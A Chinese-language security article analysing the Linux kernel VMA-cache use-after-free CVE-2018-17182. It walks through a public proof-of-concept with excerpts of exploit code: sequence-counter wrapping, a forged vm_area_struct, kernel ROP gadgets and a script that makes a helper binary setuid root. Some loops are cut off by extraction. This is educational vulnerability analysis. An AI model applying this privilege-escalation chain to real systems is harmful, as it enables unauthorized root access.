17182
首页
文章
漏洞
SRC导航
内容精选
输入关键词搜索
APP 登录| 注册
CVE-2018-17182 VMA use-after-free 详解
阅读量 88325 | 评论 11 稿费 300
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2018-10-17 10:00:31
漏洞分析
内核在3.16版本之后对vma的查找进行了优化:https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=615d6e8756c87149f2d4c1b93d471bca002bd849
新的vma缓存机制
在task_struct中加入了一个vmacache数组和一个32位的vmacache_seqnum值。在mm_struct结构中加入了一个32位vmacache_seqnum值,并且在此基础上定义了一系列操作函数
vmacache_invalidate函数,用来将mm_struct的vmacache_seqnum加一,使其不等于当前线程的current->vmacache_seqnum。
vmacache_find
更新了vma_find函数,在这个位置会调用vmacache_find
vmacache_find
vmacache_find检索当前线程的vmacache缓存数组,如果地址范围在其中某一个vma的地址范围中,直接返回这个vma,不需要再进行红黑树检索
vmacache_find还会调用vmacache_valid,在其中会检查current->vmacache_seqnum是否等于current->mm->vmacache_seqnum,如果之前有过调用vmacache_invalidate,在这里会直接去调用vmacache_flush函数,刷新task_struct的vmacache链表之后会返回null。
vmacache_find函数在返回null后,vma_find会再去搜索红黑树找到合适的vma。找到vma之后,调用vmacache_update
vmacache_update会将找到的vma加入当前线程的vmacache缓存数组中
漏洞具体位置
但是这个32位的值是可以被溢出的,于是在vmacache_invalidate中会有溢出的检查,如果回到0,就会刷新vmacache缓存数组。
本来这套机制是没有问题的,但是溢出后每次刷新线程的vmacache数组都需要遍历所有线程,太耗费时间
于是又发布了一次新的更新,如果是单线程的话不用对其刷新,直接返回。
但是这样就存在一个问题,如果在溢出之后,在调用vmacache_valid之前,立即申请一个新线程。这个时候之前的单线程的current->vmacache_seqnum仍然为0xffffffff,并没有更新为0。因为线程虽然没一个线程都有一个单独的task_struct,但是是共享同一个mm_struct的,这个时候在另一个新创建的线程之中将mm_struct的seqnum刷新为0xffffffff,在先前的但线程中就可以利用其vmacache数组里面已经释放了的vma,实现use after free。
我们再来看看mmap和munmap函数是如何改变seqnum的值。
也就是说,调用munmap去解除vma映射的时候,会调用vmacache_invalidate将相应的mm_struct的seqnum增加1。并且最后会调用
kmem_cache_free(vm_area_cachep, vma)将对应的vm_area_struct free掉使其回到slab分配器的free list。
并且再mummap开始的时候会调用find_vma,这会更新vmacache或者是刷新它。
再来看mmap函数:在其中会调用mmap_region,然后调用
其中会调用vm_area_alloc,在其中调用kmem_cache_zalloc()。这个函数主要用于向内核的slab分配器分配专门大小的object。
漏洞利用
现在我们结合着漏洞发现者在github上贴出的具体的漏洞利用代码去分析一下具体的利用过程。
漏洞利用代码https://github.com/jas502n/CVE-2018-17182
我们首先将作者的代码定义的每个函数具体功能进行分析,之后结合漏洞进行总体的串联
漏洞发现者的利用代码实现了一套ioctl系统来辅助漏洞的利用,其中关键的cmd是DMESG_DUMP用来调用vmacache_debug_dump()实现dump当前mm结构的信息,SEQUENCE_BUMP,用来更新当前线程mm_struct的seqnum。
case DMESG_DUMP: {
vmacache_debug_dump();
return 0;
} break;
case SEQUENCE_BUMP: {
current->mm->vmacache_seqnum += arg;
return 0;
} break;`
vmacache_debug_dump():
void vmacache_debug_dump(void)
{
struct mm_struct *mm = current->mm;
struct task_struct *g, *p;
int i;
pr_warn("entering vmacache_debug_dump(0x%lx)n", (unsigned long)mm);
pr_warn(" mm sequence: 0x%xn", mm->vmacache_seqnum);
rcu_read_lock();
for_each_process_thread(g, p) {
if (mm == p->mm) {
pr_warn(" task 0x%lx at 0x%x%sn", (unsigned long)p,
p->vmacache.seqnum,
(current == p)?" (current)":"");
pr_warn(" cache dump:n");
for (i=0; i
err |= probe_kernel_read(&vm_start,
&p->vmacache.vmas[i]->vm_start,
sizeof(unsigned long));
err |= probe_kernel_read(&vm_end,
&p->vmacache.vmas[i]->vm_end,
sizeof(unsigned long));
err |= probe_kernel_read(&vm_mm,
&p->vmacache.vmas[i]->vm_mm,
sizeof(unsigned long));
if (err)
continue;
pr_warn(" start=0x%lx end=0x%lx mm=0x%lxn",
vm_start, vm_end, vm_mm);
}
}
}
再看puppet.c
首先我们有一个全局变量sequence_mirror,用于标记mm_struct的seqnum的值
static void sequence_double_inc(void) {
mmap(FAST_WRAP_AREA + PAGE_SIZE, PAGE_SIZE, PROT_RW, MAP_PRIV_ANON|MAP_FIXED, -1, 0);
sequence_mirror += 2;
}
static void sequence_inc(void) {
mmap(FAST_WRAP_AREA, PAGE_SIZE, PROT_RW, MAP_PRIV_ANON|MAP_FIXED, -1, 0);
sequence_mirror += 1;
}
这两个函数分别用于将mm_struct->vmacache_seqnum的值分别增加2和1。具体的原理是 首先在main函数中创建一个三个页的匿名映射。之后通过带有MAP_FIXED的mmap去申请第一页或者中间页的映射。如果是中间页,则会munmap开头和结尾两页,造成seqnum的两次递增。之后再进行合并。同理,开头一页的话则会造成一次递增。
static void sequence_target(long target) {
while (sequence_mirror + 2 <= target)
sequence_double_inc();
if (sequence_mirror + 1 <= target)
sequence_inc();
}
这个函数用于将sequence_mirror递增到指定值。
再来说说利用代码里面的进程之间通信的机制:
int control_event_fd = eventfd(0, EFD_SEMAPHORE);
if (control_event_fd == -1) err(1, "eventfd");
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, control_fd_pair))
err(1, "socketpair");
pid_t child = fork();
if (child == -1) err(1, "fork");
if (child == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
close(kmsg_fd);
close(control_fd_pair[0]);
if (dup2(control_fd_pair[1], 0) != 0) err(1, "dup2");
close(control_fd_pair[1]);
if (dup2(control_event_fd, 1) != 1) err(1, "dup2");
execl("./puppet", "puppet", NULL);
err(1, "execute puppet");
}
close(control_fd_pair[1]);
int bpf_map = recvfd(control_fd_pair[0]);
分别创建了eventfd和socketpair。并切将其重新定向为0和1。前者用于将子进程阻塞,在主进程中实现了将fake vma伪造完后发送信号让子进程继续去触发缺页异常,从而实现对控制流控制。后者定义了双向的套接字,用于将我们申请的bpf_map传回。bpf_map会在后文进行分析。
现在我们具体分析漏洞利用流程
在main函数中,我们在实现一系列初始化之后创建子进程,并在其中
execl("./puppet", "puppet", NULL);
在puppet中,我们首先申请一个三页的mmap匿名映射,用于增加mm—>vmacache_seqnum。
之后在不创建线程的前提下先将mm的seqnum更新为0x100000000L – VMA_SPAM_COUNT/2
sequence_cheat_bump(0xffff0000L);
sequence_target(0x100000000L - VMA_SPAM_COUNT/2);
之后我们申请5000个mmap映射,根据之前的分析,在slab分配器中也分配了5000个vm_area_struct。
for (unsigned long i=0; i
for (unsigned long i=0; i
break;
}
rop chain
利用我们之前通过dmesg泄漏的地址,最终我们需要伪造一个vma结构,其中的几个关键点是:vm_start和vm_end,vm_start必须设置0x7fffffffd000或者是随便一块没有被映射的区域,这样我们在解应用这块区域去触发页错误的时候,我们会找到我们伪造的vma。
第二个关键点是vm_ops,我们将会在子进程中调用eventfd来阻塞,直到我们在将fake vma写入到我们的bpf之后,在阻塞完毕之后,主进程再次阻塞。这个时候我们的子进程解引用一个没有建立页表映射的内存位置,触发缺页异常。因为我们之前已经伪造了vm_start,这个时候我们会触发 __do_fault函数,在其中调用我们伪造的vma的vm_ops的falut函数。
我们仔细来看伪造的vm_area_struct和payload。
char kernel_cmd[8] = "/tmp/%1";
struct vm_area_struct fake_vma = {
.vm_start = 0x7fffffffd000,
.vm_end = 0x7fffffffe000,
.vm_rb = {
.__rb_parent_color =
(eventfd_fops-0xd92ce0), //run_cmd: 0xffffffff810b09a0
.rb_right = vma_kaddr
+ offsetof(struct vm_area_struct, vm_rb.rb_left)
/*rb_left reserved for kernel_cmd*/
},
.vm_mm = mm,
.vm_flags = VM_WRITE|VM_SHARED,
.vm_ops = vma_kaddr
+ offsetof(struct vm_area_struct, vm_private_data)
- offsetof(struct vm_operations_struct, fault),
.vm_private_data = eventfd_fops-0xd8da5f,
.shared = {
.rb_subtree_last = vma_kaddr
+ offsetof(struct vm_area_struct, shared.rb.__rb_parent_color)
- 0x88,
.rb = {
.__rb_parent_color = eventfd_fops-0xd9ebd6
}
}
};
vm_ops的位置是
.vm_ops = vma_kaddr
+ offsetof(struct vm_area_struct, vm_private_data)
- offsetof(struct vm_operations_struct, fault),
vma_kaddr的值就是我们通过dmesg获得的已经失效的vma缓存的地址,也就是我们将要通过bpf伪造的vma,这样的话我们调用vm->vm_ops->fault就是等于调用了 vma_kaddr + offsetof(struct vm_area_struct, vm_private_data),而这个值在我们伪造的vma中是vm_private_data,我们已经将其伪造成了内核rop:
ffffffff810b5c21: 49 8b 45 70 mov rax,QWORD PTR [r13+0x70]
ffffffff810b5c25: 48 8b 80 88 00 00 00 mov rax,QWORD PTR [rax+0x88]
ffffffff810b5c2c: 48 85 c0 test rax,rax
ffffffff810b5c2f: 74 08 je ffffffff810b5c39
ffffffff810b5c31: 4c 89 ef mov rdi,r13
ffffffff810b5c34: e8 c7 d3 b4 00 call ffffffff81c03000 <__x86_indirect_thunk_rax>
<__x86_indirect_thunk_rax>就是等于是 call rax,而rax的值是r13+0x88,r13的值就是我们伪造的vma的地址。也就是call vma struct+0x88的位置,
在这个位置是
.rb = {
.__rb_parent_color = eventfd_fops-0xd9ebd6
}
我们放上来另一个内核rop
ffffffff810a4aaa: 48 89 fb mov rbx,rdi
ffffffff810a4aad: 48 8b 43 20 mov rax,QWORD PTR [rbx+0x20]
ffffffff810a4ab1: 48 8b 7f 28 mov rdi,QWORD PTR [rdi+0x28]
ffffffff810a4ab5: e8 46 e5 b5 00 call ffffffff81c03000<__x86_indirect_thunk_rax>
这里我们将call vma+0x20,参数是vma+0x28,我们已经在结构中伪造了将vma+0x20是run_cmd,vma+0x28也就是vm_rb.rb_left的值是”/tmp/%1”
而这里面我们早就写入了
char *suid_tmpl = "#!/bin/shn"
"chown root:root ./suidhelpern"
"chmod 04755 ./suidhelpern"
"while true; do sleep 1337; donen";
这样直接给suidhelper以root权限。
之后我们伪造一个fake page,offset的值是
if (offset + sizeof(fake_vma) <= 0x1000) { memcpy(fake_vma_page + offset, &fake_vma, sizeof(fake_vma)); } else { size_t chunk_len = 0x1000 - offset; memcpy(fake_vma_page + offset, &fake_vma, chunk_len); memcpy(fake_vma_page, (char*)&fake_vma + chunk_len, sizeof(fake_vma) - chunk_len); } offset的值我们通过 long offset = (vma_kaddr - 0x90/*compensate for BPF map header*/) & 0xfff; 得倒,因为我们要的是在这个页中的偏移位置,所以需要 &0xfff就是在这个页的偏移量。但是还需要减去0x90 bpf map header,因为bpf update的时候会自动加上偏移量。 这样我们需要的东西已经全部准备好,直接通过 bpf_(BPF_MAP_UPDATE_ELEM, &update_attr) 将伪造好的页写入到内核,即可将我们在vmacache中的vma覆盖掉。之后通过触发缺页异常去执行vm_ops->的fault,从而实现整个rop chain 的利用。之后我们的主进程虽然会崩溃掉,但是我们已经以root权限打开了新的可执行文件sulidhelper,在其中弹出一个shell,实现了内核态的提权。
参考链接
https://googleprojectzero.blogspot.com/2018/09/a-cache-invalidation-bug-in-linux.html
本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/161632
安全客 - 有思想的安全新媒体
linux内核安全 CVE-2018-17182
张政 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
ETW注册表监控windows内核实现原理
2019-02-21 14:30:47
WordPress 5.0.0远程代码执行漏洞分析
2019-02-21 11:30:53
Lucky双平台勒索者解密分析
2019-02-21 10:45:27
off by null漏洞getshell示例
2019-02-20 16:59:40
|发表评论
发表你的评论吧
昵称
Dir溢出大神
换一个
|评论列表
Dir溢出大神 · 2018-12-28 16:09:02 回复
问一下,run_cmd的地址是通过符号表找到的吗
我不是黑客 · 2018-11-16 09:30:38 回复
请教下,thread_create创建子线程为什么要使用asm volatile,而不直接使用系统函数clone呢
熊猫烧香作者 · 2018-10-20 14:04:56 回复
有理有据,透彻入理
张政 · 本文作者 · 2018-10-20 19:48:00 回复
谢谢,有空多交流
熊猫烧香作者 · 2018-10-18 22:19:09 回复
漏洞是仁类进步的阶梯
越南邻国宰相 · 2018-10-17 21:23:12 1 回复
高智商玩转的东西,了不起
黑帽子 · 2018-10-17 19:19:26 1 回复
长知识了。
妇科圣手 · 2018-10-17 18:06:01 1 回复
大佬啊!
白帽子 · 2018-10-17 10:45:45 5 回复
作者真大佬啊
你全家都是黑客 · 2018-10-17 11:01:18 4 回复
。。。。。老白别搞我
管理员 · 2018-10-17 10:54:11 4 回复
漏洞发现者是真大佬,我就是个分析分析的爱好者
张政
maybe that makes me a fool
文章
1
粉丝
0
TA的文章
CVE-2018-17182 VMA use-after-free 详解
2018-10-17 10:00:31
输入关键字搜索内容
相关文章
ETW注册表监控windows内核实现原理
WordPress 5.0.0远程代码执行漏洞分析
Lucky双平台勒索者解密分析
off by null漏洞getshell示例
RSAC创新沙盒2019:云、身份、应用安全成为焦点
HackIMshop的解析及学习
HTB靶机渗透实战——Carrier
热门推荐
文章目录
漏洞分析
新的vma缓存机制
漏洞具体位置
漏洞利用
如何绕过kaslr?
rop chain
参考链接
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading...0daybank
文章评论